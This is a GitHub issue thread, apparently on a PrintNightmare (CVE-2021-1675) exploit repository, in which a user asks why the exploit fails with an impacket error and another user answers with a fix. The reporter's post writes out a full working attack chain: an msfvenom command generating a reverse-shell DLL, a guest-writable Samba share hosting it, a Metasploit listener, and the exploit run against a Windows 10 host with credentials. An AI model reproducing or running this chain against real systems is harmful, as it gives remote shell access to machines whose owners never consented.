module 'impacket.dcerpc.v5.rprn' has no attribute 'hRpcEnumPrinterDrivers'
ds2k5 opened this issue · 2 comments
ds2k5 commented
Hi,
setup: Kali Linux (192.168.0.10)
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.10 LPORT=4444 -f dll -o /tmp/rev.dll
/etc/samba/smb.conf
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[public]
comment = Samba
path = /tmp
guest ok = yes
read only = no
browsable = yes
force user = root
Share works, can open it from the Win10 System with \192.168.0.1\public
can see the rev.dll
# smbstatus 1 ⨯
Samba version 4.13.5-Debian
PID Username Group Machine Protocol Version Encryption Signing
----------------------------------------------------------------------------------------------------------------------------------------
2839 nobody nogroup 192.168.0.12 (ipv4:192.168.0.12:49924) SMB3_11 - -
msfconsole
use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set lhost 192.168.0.10
set lport 4444
run
# python3 CVE-2021-1675.py ./anna:anna@192.168.0.12 '\\192.168.0.10\\public\\rev.dll'
[*] Connecting to ncacn_np:192.168.0.12[\PIPE\spoolss]
[+] Bind OK
[-] Failed to enumerate remote pDriverPath
module 'impacket.dcerpc.v5.rprn' has no attribute 'hRpcEnumPrinterDrivers'
victim: Windows 10 21H1 (64bit) build 19043 (192.168.0.12) firewall is disabled
When try to copy the DLL to Desktop vor example:
But if I disable the VirusCheck the same error with the python script
How to fix it ?
cris-m commented
Please follow this set and reinstall your impact and try again. I had that problem.
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install